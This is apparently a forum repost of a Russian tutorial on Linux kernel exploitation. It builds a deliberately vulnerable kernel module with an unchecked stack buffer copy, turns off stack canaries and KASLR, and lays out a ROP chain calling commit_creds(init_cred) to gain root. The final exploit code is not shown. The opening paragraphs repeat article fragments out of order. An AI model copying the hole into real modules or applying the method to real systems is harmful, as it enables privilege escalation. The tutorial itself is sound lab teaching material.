Пожалуйста, обратите внимание, что пользователь заблокирован
Лучший друг теории — это практика. Чтобы понять, как работают уязвимости в ядре Linux и как их использовать, мы создадим свой модуль ядра Linux и с его помощью повысим себе привилегии до суперпользователя. Затем мы соберем само ядро Linux с уязвимым модулем, подготовим все, что нужно для запуска ядра в виртуальной машине QEMU, и автоматизируем процесс загрузки модуля в ядро. Мы научимся отлаживать ядро, а потом воспользуемся приемом ROP, чтобы получить права root.
Для примера возьмем самое последнее стабильное ядро с kernel.org. На момент написания статьи это был Linux 5.12.4. На самом деле версия ядра вряд ли повлияет на результат, так что можешь смело брать наиболее актуальную. Скачиваем архив, выполняем команду tar xaf linux-5.12.4.tar.xz и заходим в появившуюся папку.
Существует несколько способов задать правильную конфигурацию, но мы выберем menuconfig. Он удобен и нетребователен к GUI. Выполняем команду make menuconfig и наблюдаем следующую картину.
Главное меню menuconfig
Для того чтобы у нас появились отладочные символы, идем в секцию Kernel hacking → Compile-time checks and compiler options. Тут надо будет выбрать Compile the kernel with debug info и Provide GDB scripts for kernel debugging. Кроме отладочных символов, мы получим очень полезный скрипт vmlinux-gdb.py. Это модуль для GDB, который поможет нам в определении таких вещей, как базовый адрес модуля в памяти ядра.
Включение символов отладки и vmlinux-gdb.py
Теперь надо убрать протектор стека, чтобы наш модуль был эксплуатируем. Для этого возвращаемся на главный экран конфигурации, заходим в раздел General architecture-dependent options и отключаем функцию Stack Protector buffer overflow detection.
Отключение стековой канарейки
Можно нажать на кнопку Save и выходить из окна настройки. Что делает эта настройка, мы увидим далее.
Компиляция ядра
Скорость сборки зависит от процессора: около пяти минут она займет на мощном компьютере и намного дольше — на слабом. Можешь не ждать окончания компиляции и продолжать читать статью.
Этот модуль создаст в /dev устройство vuln, которое будет позволять писать в него данные. Путь у него простой: /dev/vuln. Любопытный читатель может поинтересоваться, что за функции остались без комментариев? Их значение можно поискать вот в этом репозитории. В нем, скорее всего, отыщутся все функции, на которые есть документация в ядре Linux в виде страниц man.
Компиляция модуля
После этого в папке появится файл vuln.ko. Расширение ko означает Kernel Object, он несколько отличается от обычных объектов .o. Получается, мы уже собрали ядро и модуль для него. Для запуска в QEMU осталось проделать еще несколько операций.
Подготовка файловой системы и установка туда дистрибутива
Потом надо будет скопировать vuln.ko командой
Модуль в системе, все хорошо.
Также нам очень понадобятся пара пакетов — GCC и любой текстовый редактор, например Vim. Они нужны для написания и компиляции эксплоита. Эти пакеты можно получить с помощью команд apt install vim gcc на Debian-системе или pacman -S vim gcc для Arch-подобной ОС. Также желательно создать обычного пользователя, от имени которого мы будем проверять эксплоит. Для этого выполним команды useradd -m user и passwd user, чтобы у него была домашняя папка.
Конфигурация внутри файловой системы
Выйдем из chroot с помощью Ctrl + d и на всякий случай напишем sync.
При условии, что мы находимся в папке <kernel sources> и там же находится rootfs.img, команда для запуска ядра будет такой:
В kernel мы указали путь к ядру, append является командной строкой ядра, console=ttyS0,115200 говорит о том, что вывод будет даваться в устройство ttyS0 со скоростью передачи данных 115 200 бит/с. Это просто serial-порт, откуда берет данные QEMU. Аргумент root=/dev/sda делает корневой файловой системой диск, который мы потом включили с помощью ключа hda, а rw делает эту файловую систему доступной для чтения и записи (по умолчанию только для чтения). Параметр nokaslr нужен, чтобы не рандомизировались адреса функций ядра в виртуальной памяти. Этот параметр упростит эксплуатацию. Наконец, -nographic выполняет запуск без отдельного окошка прямо в консоли.
После запуска мы можем залогиниться и попасть в консоль. Однако, если зайти в /dev, мы не найдем нашего устройства. Чтобы оно появилось, надо выполнить команду insmod /vuln.ko. Сообщения о загрузке добавятся в kmsg, а в /dev появится устройство vuln. Однако есть небольшая проблема: /dev/vuln имеет права 600. Для нашей эксплуатации необходимы права 666 или хотя бы 622, чтобы любой пользователь мог писать в этот файл. Мы можем вручную включать модуль в ядре, как и менять права устройству, но, согласись, выглядит это так себе. Просто представим, что это какой‑то важный модуль, который должен запускаться вместе с системой. Поэтому нам надо автоматизировать этот процесс.
Этот код должен будет лежать в /usr/lib/systemd/system/vuln.service.
Включение модуля Systemd
После перезагрузки файл vuln в /dev/ получит права rw-rw-rw-. Прекрасно. Теперь переходим к самому сладкому. Чтобы выйти из QEMU, нажми Ctrl + A, C и D.
Первым делом надо разрешить загрузку сторонних скриптов, а именно vmlinux-gdb.py, который сейчас находится в корневой папке исходников. Как, собственно, и vmlinux, файл с символами ядра. Он поможет впоследствии узнать базовый адрес модуля ядра. Это можно сделать, добавив строку set auto-load safe-path / в ~/.gdbinit. Теперь, чтобы загрузить символы и вообще код, выполни команду gdb vmlinux. После этого надо запустить само ядро.
Так выглядит дебаггинг ядра с GEF
Можно заметить, что QEMU сейчас замер в конкретном состоянии, потому что остановлено ядро. Восстановить работу можно в GDB командой continue. Для приостановки же нужно нажать Ctrl + C.
Более подробное описание этой функции читатель может посмотреть в репозитории, упомянутом раньше. То есть нам нужно каким‑то образом выполнить commit_creds(init_cred) во время записи в уязвимое устройство. Давай разберемся, как это сделать.
Как можно понять из кода, первый аргумент лежит в регистре RDI, а второй в RSI. При этом вывод функции в нашем случае, скорее всего, 5, будет лежать в регистре RAX. В архитектуре x86_64 есть 16 основных очень быстрых регистров, при этом каждый из них хранит 64 бита информации: RAX, RBX, RCX, RDX, RDI, RSI, RSP, RBP и R8-R15. То есть, чтобы вызвать функцию commit_creds(init_cred), нам надо будет положить в регистр RDI адрес init_cred, а потом вызвать commit_creds. Еще одним важным регистром будет RSP (Relative Stack Pointer), о нем можно прочитать в Википедии. Этот регистр хранит в себе указатель на стек, откуда берутся адреса, например для инструкции ret или pop.
Нам же надо найти такой гаджет, который берет значение из контролируемого нами стека, кладет его в регистр RDI и смещает указатель на стек. Инструкция, идеально подходящая в данном случае, — pop. Она возьмет значение из стека в регистр и сместит стек. После этого нам нужен ret, который прыгнет по адресу commit_creds, тем самым почти сделав call. Используя программу ROPGadget, мы можем найти такой гаджет. Для этого запускаем ROPGadget vmlinux | grep "pop rdi ; ret" и смотрим на адрес этого участка кода.
Вывод ROPGadget с pop rdi ; ret
Сохраним его, он нам потом понадобится.
Эта функция добавляет «стековую канарейку», случайное число, которое вносится на стек в начале функции и проверяется в конце. Таким образом, если мы его перепишем, ядро поймет, что его пытаются взломать, и откажется работать.
С другой стороны, ты мог заметить слово nokaslr в параметре append команды запуска QEMU. Ядро, как и программа в userspace, заинтересовано в том, чтобы его не поломали. В userspace существует ASLR (Address Space Layout Randomization).
Допустим, у нас есть программа, которая имеет по адресу 0x50000 нужную нам функцию. Но она не выполняется непосредственно в коде, и есть другая функция, имеющая уязвимость переполнения буфера. Если отсутствует ASLR, то хакер может прыгнуть на эту функцию и взломать программу, но если появляется ASLR, то адрес этой функции меняется случайно. Таким образом, хакеру сначала надо узнать базовый адрес программы и посчитать настоящий адрес функции. Это было придумано, чтобы сильно усложнить эксплуатацию уязвимостей. В ядре же был создан kaslr, который рандомизирует базовый адрес ядра. Таким образом, адрес, который был получен в прошлом пункте, с kaslr был бы неправильным. Поэтому для упрощения эксплуатации мы выключаем kaslr с помощью параметра nokaslr.
Поскольку мы не знаем, как компилятор будет хранить int i: будет оно на стеке или регистром, стоит посмотреть вывод дизассемблера для этой функции.
Чтобы это сделать, нужно подгрузить код модуля в GDB. Для этого сначала запустим lx-lsmod, который предоставляется vmlinux-gdb.py, и найдем адрес модуля vuln. Зная базовый адрес модуля, мы можем подгрузить vuln.ko. Для этого выполним команду add-symbol-file ./vuln/vuln.ko <address>, где address — шестнадцатеричное число, взятое из lx-lsmod. Функция называется vuln_write, поэтому смело пишем disassemble vuln_write.
Дизасм функции vuln_write
Нам не нужны все эти страшные инструкции: выберем только те, которые работают со стеком. Первым делом идет push r12, который в конце будет возвращен с помощью pop r12. Это значит, что уже занято 8 байт. Далее идет инструкция add rsp,0xffffffffffffff80, которая на самом деле не добавляет, а вычитает из rsp~ 0x80. Заметим, что 0x80 — это 128 в десятичной системе. Ага, то есть функция аллоцирует под себя 128 байт для буфера и еще 8 байт для сохранения r12, итого 128 + 8 = 136 байт.
Кстати, если посмотреть далее, то будет видно, что переменной i является регистр edx — младшие 32 бита регистра rdx. Сразу же после 136 байт будет лежать адрес возврата из vuln_write. То есть для того, чтобы переполнить стек, нам надо сначала заполнить 136 байт мусором, а потом будет наш ROP Chain. В качестве мусора исторически использовались буквы А, так что первыми в нашем эксплоите будут 136 символов A. Зная, как переполнить стек, мы можем перейти к последнему пункту нашей развлекательной программы.
Инструкции pop перед ret
Как было упомянуто, происходит смещение стека на 32 байта, но 8 байт из них — обычный ret в конце vuln_write. Это означает, что стек поломан на 24 байта. Для того чтобы его выровнять, нам надо пропустить три инструкции pop. Хотя у нас и есть какой‑то код перед этими инструкциями, нам придется им пренебречь, потому что выбора у нас особо нет. Запоминаем адрес 4-й инструкции pop: тут это pop r13. Именно на него мы и будем прыгать после vuln_write. Наконец‑то мы готовы к написанию эксплоита.
Важно заметить, что адреса будут записаны в обратном порядке: например, если у init_cred адрес 0xffffffff8244d2a0, то он будет записан как \xa0\xd2\x44\x82\xff\xff\xff\xff. Это происходит потому, что x86_64 является архитектурой little-endian. После подготовки полезной нагрузки мы должны записать ее в /dev/vuln. В результате у процесса‑эксплоита должны быть права суперпользователя. Поэтому, чтобы мы получили шелл от имени рута, выполним команду execve("/bin/bash", 0, 0);. Код должен получиться примерно таким:
Как работает эксплоит
Источник: https://xakep.ru/2021/06/10/linux-kernel-exploitation/
ПОДГОТОВКА
Чтобы выполнить все задуманное, нам понадобятся следующие утилиты:- GCC — компилятор C, чтобы компилировать ядро;
- GDB — отладчик, который нам пригодится, чтобы отлаживать ядро;
- BC — будет нужен для сборки ядра;
- Make — обработчик рецептов сборки ядра;
- Python — интерпретатор языка Python, он будет использоваться модулями GDB;
- pacstrap или debootstrap — скрипты для развертки системы. Будут нужны, чтобы собрать rootfs;
- любой текстовый редактор (подойдет Vim или nano), чтобы написать модуль и рецепт к нему;
- qemu-system-x86_64 — виртуальная машина, с помощью которой мы будем запускать ядро.
ЯДРО
В целях эксперимента нам понадобится ядро Linux, которое придется самостоятельно собрать.Для примера возьмем самое последнее стабильное ядро с kernel.org. На момент написания статьи это был Linux 5.12.4. На самом деле версия ядра вряд ли повлияет на результат, так что можешь смело брать наиболее актуальную. Скачиваем архив, выполняем команду tar xaf linux-5.12.4.tar.xz и заходим в появившуюся папку.
Конфигурация
Мы не будем делать универсальное ядро, которое может поднимать любое железо. Все, что нам нужно, — это чтобы оно запускалось в QEMU, а изначальная конфигурация, предложенная разработчиками, для этих целей подходит. Однако все‑таки необходимо удостовериться, что у нас будут символы для отладки после компиляции и что у нас нет стековой канарейки (об этой птице мы поговорим позже).Существует несколько способов задать правильную конфигурацию, но мы выберем menuconfig. Он удобен и нетребователен к GUI. Выполняем команду make menuconfig и наблюдаем следующую картину.
Главное меню menuconfig
Для того чтобы у нас появились отладочные символы, идем в секцию Kernel hacking → Compile-time checks and compiler options. Тут надо будет выбрать Compile the kernel with debug info и Provide GDB scripts for kernel debugging. Кроме отладочных символов, мы получим очень полезный скрипт vmlinux-gdb.py. Это модуль для GDB, который поможет нам в определении таких вещей, как базовый адрес модуля в памяти ядра.
Включение символов отладки и vmlinux-gdb.py
Теперь надо убрать протектор стека, чтобы наш модуль был эксплуатируем. Для этого возвращаемся на главный экран конфигурации, заходим в раздел General architecture-dependent options и отключаем функцию Stack Protector buffer overflow detection.
Отключение стековой канарейки
Можно нажать на кнопку Save и выходить из окна настройки. Что делает эта настройка, мы увидим далее.
Сборка ядра
Тут совсем ничего сложного. Выполняем команду make -j<threads>, где threads — это количество потоков, которые мы хотим использовать для сборки ядра, и наслаждаемся процессом компиляции.
Компиляция ядра
Скорость сборки зависит от процессора: около пяти минут она займет на мощном компьютере и намного дольше — на слабом. Можешь не ждать окончания компиляции и продолжать читать статью.
МОДУЛЬ ЯДРА
В ядре Linux есть такое понятие, как character device. По‑простому, это некоторое устройство, с которым можно делать такие элементарные операции, как чтение из него и запись. Но иногда, как ни парадоксально, этого устройства в нашем компьютере нет. Например, существует некий девайс, имеющий путь /dev/zero, и, если мы будем читать из этого устройства, мы получим нули (нуль‑байты или \x00, если записывать в нотации C). Такие устройства называются виртуальными, и в ядре есть специальные обработчики на чтение и запись для них. Мы же напишем модуль ядра, который будет предоставлять нам запись в устройство. Назовем его /dev/vuln, а функция записи в это устройство, которая вызывается при системном вызове write, будет содержать уязвимость переполнения буфера.Код модуля и пояснения
Создадим в папке с исходным кодом ядра вложенную папку с именем vuln, где будет находиться модуль, и поместим там файл vuln.c вот с таким контентом:
C:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/kdev_t.h>
#include <linux/device.h>
#include <linux/cdev.h>
MODULE_LICENSE("GPL"); // Лицензия
static dev_t first;
static struct cdev c_dev;
static struct class *cl;
static ssize_t vuln_read(struct file* file, char* buf, size_t count, loff_t *f_pos){
return -EPERM; // Нам не нужно чтение из устройства, поэтому говорим, что читать из него нельзя
}
static ssize_t vuln_write(struct file* file, const char* buf, size_t count, loff_t *f_pos){
char buffer[128];
int i;
memset(buffer, 0, 128);
for (i = 0; i < count; i++){
*(buffer + i) = buf[i];
}
printk(KERN_INFO "Got happy data from userspace - %s", buffer);
return count;
}
static int vuln_open(struct inode* inode, struct file* file) {
return 0;
}
static int vuln_close(struct inode* inode, struct file* file) {
return 0;
}
static struct file_operations fileops = {
owner: THIS_MODULE,
open: vuln_open,
read: vuln_read,
write: vuln_write,
release: vuln_close,
}; // Создаем структуру с файловыми операциями и обработчиками
int vuln_init(void){
alloc_chrdev_region(&first, 0, 1, "vuln"); // Регистрируем устройство /dev
cl = class_create( THIS_MODULE, "chardev"); // Создаем указатель на структуру класса
device_create(cl, NULL, first, NULL, "vuln"); // Создаем непосредственно устройство
cdev_init(&c_dev, &fileops); // Задаем хендлеры
cdev_add(&c_dev, first, 1); // И добавляем устройство в систему
printk(KERN_INFO "Vuln module started\n");
return 0;
}
void vuln_exit(void){ // Удаляем и разрегистрируем устройство
cdev_del( &c_dev );
device_destroy( cl, first );
class_destroy( cl );
unregister_chrdev_region( first, 1 );
printk(KERN_INFO "Vuln module stopped??\n");
}
module_init(vuln_init); // Точка входа модуля, вызовется при insmod
module_exit(vuln_exit); // Точка выхода модуля, вызовется при rmmod
Этот модуль создаст в /dev устройство vuln, которое будет позволять писать в него данные. Путь у него простой: /dev/vuln. Любопытный читатель может поинтересоваться, что за функции остались без комментариев? Их значение можно поискать вот в этом репозитории. В нем, скорее всего, отыщутся все функции, на которые есть документация в ядре Linux в виде страниц man.
Уязвимость
Обрати внимание на функцию vuln_write. На стеке выделяется 128 байт для сообщения, которое будет написано в наше устройство, а потом выведется в kmsg, устройство для логов ядра. Однако и сообщение, и его размер контролируются пользователем, что позволяет ему записать намного больше, чем положено изначально. Здесь очевидно переполнение буфера на стеке, с последующим контролем регистра RIP (Relative Instruction Pointer), что позволяет нам сделать ROP Chain. Мы поговорим об этом в разделе, посвященном эксплуатации уязвимости.Сборка модуля
Сборка модуля достаточно тривиальная задача. Для этого в папке с исходным кодом модуля надо создать Makefile вот с таким контентом:
Makefile:
obj-m := vuln.o # Добавить в список собираемых модулей
all:
make -C ../ M=./vuln # Вызвать главный Makefile с аргументом M=$(module folder), чтобы он собрался
Компиляция модуля
После этого в папке появится файл vuln.ko. Расширение ko означает Kernel Object, он несколько отличается от обычных объектов .o. Получается, мы уже собрали ядро и модуль для него. Для запуска в QEMU осталось проделать еще несколько операций.
ROOTFS
Вопреки распространенному мнению, Linux не является операционной системой, если рассматривать его как отдельную программу. Это лишь ядро, которое в совокупности с утилитами и программами GNU дает полноценную рабочую РС. Она, кстати, так и называется — GNU/Linux. То есть если ты запустишь Linux просто так, то он выдаст Kernel panic, сообщив об отсутствии файловой системы, которую можно принять за корневую. Даже если таковая есть, ядро первым делом попытается запустить init, бинарник, который является главным процессом‑демоном в системе, запускающим все службы и остальные процессы. Если этого файла нет или он работает неправильно, ядро выдаст панику. Поэтому нам нужен раздел с userspace-программами. Далее я буду использовать pacstrap, скрипт для установки Arch Linux. Если у тебя Debian-подобная система, ты можешь использовать debootstrap.Возможные варианты
Существует много разных вариантов собрать полностью рабочую систему: как минимум, есть LFS (Linux From Scratch), но это уже слишком сложно. Также есть вариант с созданием initramfs (файл с минимальной файловой системой, необходимый для выполнения некоторых задач до загрузки основной системы). Но минус этого способа в том, что такой диск не очень просто сделать, а редактировать еще сложнее: его придется пересобирать. Поэтому мы выберем другой вариант — создание полноценной файловой системы ext4 в файле. Давай разберемся, как мы будем это делать.Создание диска
Для начала надо отвести место под саму файловую систему. Для этого выполним команду dd if=/dev/zero of=./rootfs.img bs=1G count=2. Данная команда заполнит rootfs.img нулями, и установим его размер в 2 Гбайт. После этого надо создать раздел ext4 в этом файле. Для этого запускаем mkfs.ext4 ./rootfs.img. Нам не требуются права суперпользователя, потому что файловая система создается в нашем файле. Теперь остается последнее, что мы сделаем перед установкой системы: sudo mount ./rootfs.img /mnt. Теперь права суперпользователя нам понадобятся для того, чтобы смонтировать эту файловую систему и делать манипуляции уже в ней.Установка Arch
Звучит страшно. На самом деле, если речь идет о Manjaro или другой Arch Linux подобной системе, все крайне просто. В репозиториях имеется пакет под названием arch-install-scripts, где находится pacstrap. После установки данного пакета выполняем команду sudo pacstrap /mnt base и ждем, пока скачаются все основные пакеты.
Подготовка файловой системы и установка туда дистрибутива
Потом надо будет скопировать vuln.ko командой
Код:
cp <kernel sources>/vuln/vuln.ko /mnt/vuln.ko
Модуль в системе, все хорошо.
Небольшая конфигурация изнутри
Теперь нам нужно настроить пароль суперпользователя, чтобы войти в систему. Воспользуемся arch-chroot, который автоматически подготовит все окружение в созданной системе. Для этого запускаем команду sudo arch-chroot /mnt, а затем — passwd. Таким образом мы сможем войти в систему, когда загрузимся.Также нам очень понадобятся пара пакетов — GCC и любой текстовый редактор, например Vim. Они нужны для написания и компиляции эксплоита. Эти пакеты можно получить с помощью команд apt install vim gcc на Debian-системе или pacman -S vim gcc для Arch-подобной ОС. Также желательно создать обычного пользователя, от имени которого мы будем проверять эксплоит. Для этого выполним команды useradd -m user и passwd user, чтобы у него была домашняя папка.
Конфигурация внутри файловой системы
Выйдем из chroot с помощью Ctrl + d и на всякий случай напишем sync.
Финальные штрихи
На самом деле по‑хорошему надо отмонтировать rootfs.img командой sudo umount /mnt. Лично я после записи в /mnt всегда дополнительно делаю sync, чтобы записанные данные не потерялись в кеше. Теперь мы полностью готовы к запуску ядра с нашим модулем.ЗАПУСК ЯДРА
После сборки само ядро будет лежать в сжатом виде в <kernel sources>/arch/x86/boot/bzImage. Хоть оно и сжато, ядро спокойно запустится в QEMU, потому что это самораспаковывающийся бинарник.При условии, что мы находимся в папке <kernel sources> и там же находится rootfs.img, команда для запуска ядра будет такой:
Код:
qemu-system-x86_64 \
-kernel ./arch/x86/boot/bzImage \
-append “console=ttyS0,115200 root=/dev/sda rw nokaslr” \
-hda ./rootfs.img \
-nographic
В kernel мы указали путь к ядру, append является командной строкой ядра, console=ttyS0,115200 говорит о том, что вывод будет даваться в устройство ttyS0 со скоростью передачи данных 115 200 бит/с. Это просто serial-порт, откуда берет данные QEMU. Аргумент root=/dev/sda делает корневой файловой системой диск, который мы потом включили с помощью ключа hda, а rw делает эту файловую систему доступной для чтения и записи (по умолчанию только для чтения). Параметр nokaslr нужен, чтобы не рандомизировались адреса функций ядра в виртуальной памяти. Этот параметр упростит эксплуатацию. Наконец, -nographic выполняет запуск без отдельного окошка прямо в консоли.
После запуска мы можем залогиниться и попасть в консоль. Однако, если зайти в /dev, мы не найдем нашего устройства. Чтобы оно появилось, надо выполнить команду insmod /vuln.ko. Сообщения о загрузке добавятся в kmsg, а в /dev появится устройство vuln. Однако есть небольшая проблема: /dev/vuln имеет права 600. Для нашей эксплуатации необходимы права 666 или хотя бы 622, чтобы любой пользователь мог писать в этот файл. Мы можем вручную включать модуль в ядре, как и менять права устройству, но, согласись, выглядит это так себе. Просто представим, что это какой‑то важный модуль, который должен запускаться вместе с системой. Поэтому нам надо автоматизировать этот процесс.
СЕРВИС ДЛЯ SYSTEMD
Автоматизировать процессы при загрузке можно разными способами: можно записать скрипт в /etc/profile, можно поместить его в ~/.bashrc, можно даже переписать init таким образом, чтобы сначала запускался наш скрипт, а потом вся остальная система. Однако легче всего написать модуль для systemd, программы, которая является непосредственно init и может автоматизировать разные вещи цивилизованным образом. Дальнейшие действия мы будем выполнять в системе, запущенной в QEMU. Она сохранит все изменения.Непосредственно сервис
По факту нам надо сделать две вещи: вставить модуль в ядро и поменять права /dev/vuln на 666. Сервис запускается как скрипт — один раз во время загрузки системы. Поэтому тип сервиса будет oneshot. Давай посмотрим, что у нас получится.
Код:
[Unit]
Name=Vulnerable module # Название модуля
[Service]
Type=oneshot # Тип модуля. Запустится один раз
ExecStart=insmod /vuln.ko ; chmod 666 /dev/vuln # Команда для загрузки модуля и изменения разрешений
[Install]
WantedBy=multi-user.target # Когда модуль будет подгружен. Multi-user достаточно стандартная вещь для таких модулей
Этот код должен будет лежать в /usr/lib/systemd/system/vuln.service.
Запуск сервиса
Так как скрипт должен запускаться во время загрузки системы, надо выполнить команду systemctl enable vuln от имени суперпользователя.
Включение модуля Systemd
После перезагрузки файл vuln в /dev/ получит права rw-rw-rw-. Прекрасно. Теперь переходим к самому сладкому. Чтобы выйти из QEMU, нажми Ctrl + A, C и D.
ДЕБАГГИНГ ЯДРА
Дебажить ядро мы будем для того, чтобы посмотреть, как оно работает во время наших вызовов. Это позволит нам понять, как эксплуатировать уязвимость. Опытные читатели, скорее всего, знают о One gadget в libc, стандартной библиотеке C в Linux, позволяющей почти сразу запустить /bin/sh из уязвимой программы в userspace. В ядре же кнопки «сделать классно» нет, но есть другая, посложнее.GDB и vmlinux-gdb.py
Настоятельно рекомендую тебе использовать GEF для упрощения работы. Это модуль для GDB, который умеет показывать состояния регистров, стека и кода во время работы. Его можно взять здесь.Первым делом надо разрешить загрузку сторонних скриптов, а именно vmlinux-gdb.py, который сейчас находится в корневой папке исходников. Как, собственно, и vmlinux, файл с символами ядра. Он поможет впоследствии узнать базовый адрес модуля ядра. Это можно сделать, добавив строку set auto-load safe-path / в ~/.gdbinit. Теперь, чтобы загрузить символы и вообще код, выполни команду gdb vmlinux. После этого надо запустить само ядро.
Удаленный дебаггинг ядра
Раньше мы уже обсуждали, как можно запустить ядро. Единственное, чего мы не учли, — это то, что его нельзя дебажить. Чтобы разрешить отладку, надо, чтобы QEMU сделал для нас сервер GDB. Для этого к команде нужно прибавить -gdb tcp::1234, где tcp — протокол подключения, а 1234 — это порт. Запускаем ядро модифицированной командой, в другом окошке запускаем GDB. Чтобы подключиться к ядру, надо отдать команду target remote localhost:1234. Работа ядра остановится, и оно будет ждать наших действий.
Так выглядит дебаггинг ядра с GEF
Можно заметить, что QEMU сейчас замер в конкретном состоянии, потому что остановлено ядро. Восстановить работу можно в GDB командой continue. Для приостановки же нужно нажать Ctrl + C.
СТРАТЕГИЯ ЭКСПЛУАТАЦИИ
Вся эксплуатация ядра сводится к тому, чтобы поднять себе привилегии, чаще всего до рута. Один из вариантов, как это сделать, заключается в следующем: нам надо вызвать функцию commit_creds с аргументом init_cred. Commit_creds установит права процесса на привилегии, описанные в init_cred. В свою очередь, init_cred имеет права самого главного процесса под номером 1, то есть init, максимально возможные права в userspace. В коде ядра это выглядит примерно так:
C:
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
}
Более подробное описание этой функции читатель может посмотреть в репозитории, упомянутом раньше. То есть нам нужно каким‑то образом выполнить commit_creds(init_cred) во время записи в уязвимое устройство. Давай разберемся, как это сделать.
Calling convention (соглашение о вызовах)
Подкованный читатель может пропустить эту и следующие две части. Представим, что у нас есть обычный сишный код, например sum(3, 2);. В исходном виде это выглядит крайне просто, но процессор не работает с исходным кодом, он работает на инструкциях, сгенерированных компилятором. Для процессора данная строка будет выглядеть примерно так:
Код:
mov rdi, 3 ; В регистр RDI положить первый аргумент
mov rsi, 2 ; В регистр RSI положить второй аргумент
call sum ; Вызвать функцию sum
Как можно понять из кода, первый аргумент лежит в регистре RDI, а второй в RSI. При этом вывод функции в нашем случае, скорее всего, 5, будет лежать в регистре RAX. В архитектуре x86_64 есть 16 основных очень быстрых регистров, при этом каждый из них хранит 64 бита информации: RAX, RBX, RCX, RDX, RDI, RSI, RSP, RBP и R8-R15. То есть, чтобы вызвать функцию commit_creds(init_cred), нам надо будет положить в регистр RDI адрес init_cred, а потом вызвать commit_creds. Еще одним важным регистром будет RSP (Relative Stack Pointer), о нем можно прочитать в Википедии. Этот регистр хранит в себе указатель на стек, откуда берутся адреса, например для инструкции ret или pop.
ret
Ret — инструкция, которая берет последнее 64-битное значение из стека и прыгает туда. Зачем она нам нужна? Дело в том, что единственное, что, по сути, мы можем контролировать, — стек. Практически любая функция в ассемблере заканчивается инструкцией ret, которая передает управление вызывающей функции. Получается, если мы можем перезаписывать так называемый ret-адрес (адрес, который берет ret из стека), то мы можем контролировать процесс выполнения кода, что нам будет очень кстати. Осталось только одно: записать init_cred в RDI.Гаджеты, а именно pop rdi ; ret
В любой скомпилированной программе есть маленькие участки кода, которые могут нам помочь построить ROP-цепочку. ROP, Return Oriented Programming, — техника бинарной эксплуатации, позволяющая путем контроля стека писать внутри программы свою программу, которая делает то, что нужно атакующему. Такие маленькие участки кода называются гаджетами.Нам же надо найти такой гаджет, который берет значение из контролируемого нами стека, кладет его в регистр RDI и смещает указатель на стек. Инструкция, идеально подходящая в данном случае, — pop. Она возьмет значение из стека в регистр и сместит стек. После этого нам нужен ret, который прыгнет по адресу commit_creds, тем самым почти сделав call. Используя программу ROPGadget, мы можем найти такой гаджет. Для этого запускаем ROPGadget vmlinux | grep "pop rdi ; ret" и смотрим на адрес этого участка кода.
Вывод ROPGadget с pop rdi ; ret
Сохраним его, он нам потом понадобится.
Небольшое замечание о собранном нами ядре и об упрощениях
Это важный момент, поскольку мы собирали ядро с выключенной опцией Stack Protector buffer overflow detection. Хотя мы используем это ядро как пример, включение этой опции, скорее всего, сделает модуль неуязвимым. Вернее, повысить привилегии не получится, но можно будет запросто крашнуть ядро.Эта функция добавляет «стековую канарейку», случайное число, которое вносится на стек в начале функции и проверяется в конце. Таким образом, если мы его перепишем, ядро поймет, что его пытаются взломать, и откажется работать.
С другой стороны, ты мог заметить слово nokaslr в параметре append команды запуска QEMU. Ядро, как и программа в userspace, заинтересовано в том, чтобы его не поломали. В userspace существует ASLR (Address Space Layout Randomization).
Допустим, у нас есть программа, которая имеет по адресу 0x50000 нужную нам функцию. Но она не выполняется непосредственно в коде, и есть другая функция, имеющая уязвимость переполнения буфера. Если отсутствует ASLR, то хакер может прыгнуть на эту функцию и взломать программу, но если появляется ASLR, то адрес этой функции меняется случайно. Таким образом, хакеру сначала надо узнать базовый адрес программы и посчитать настоящий адрес функции. Это было придумано, чтобы сильно усложнить эксплуатацию уязвимостей. В ядре же был создан kaslr, который рандомизирует базовый адрес ядра. Таким образом, адрес, который был получен в прошлом пункте, с kaslr был бы неправильным. Поэтому для упрощения эксплуатации мы выключаем kaslr с помощью параметра nokaslr.
Итоговая стратегия
Вкратце нам нужно выполнить пять действий:- Переполнить буфер мусорными данными.
- Прыгнуть на pop rdi ; ret.
- В RDI записать init_cred.
- Прыгнуть на commit_creds.
- Вернуться из системного вызова без происшествий.
ПЕРЕПОЛНЕНИЕ
Взглянем на код модуля, а именно на vuln_write еще разок:
C:
static ssize_t vuln_write(struct file* file, const char* buf, size_t count, loff_t *f_pos){
char buffer[128];
int i;
memset(buffer, 0, 128);
for (i = 0; i < count; i++){
*(buffer + i) = buf[i];
}
printk(KERN_INFO "Got happy data from userspace - %s", buffer);
return count;
}
Поскольку мы не знаем, как компилятор будет хранить int i: будет оно на стеке или регистром, стоит посмотреть вывод дизассемблера для этой функции.
Чтобы это сделать, нужно подгрузить код модуля в GDB. Для этого сначала запустим lx-lsmod, который предоставляется vmlinux-gdb.py, и найдем адрес модуля vuln. Зная базовый адрес модуля, мы можем подгрузить vuln.ko. Для этого выполним команду add-symbol-file ./vuln/vuln.ko <address>, где address — шестнадцатеричное число, взятое из lx-lsmod. Функция называется vuln_write, поэтому смело пишем disassemble vuln_write.
Дизасм функции vuln_write
Нам не нужны все эти страшные инструкции: выберем только те, которые работают со стеком. Первым делом идет push r12, который в конце будет возвращен с помощью pop r12. Это значит, что уже занято 8 байт. Далее идет инструкция add rsp,0xffffffffffffff80, которая на самом деле не добавляет, а вычитает из rsp~ 0x80. Заметим, что 0x80 — это 128 в десятичной системе. Ага, то есть функция аллоцирует под себя 128 байт для буфера и еще 8 байт для сохранения r12, итого 128 + 8 = 136 байт.
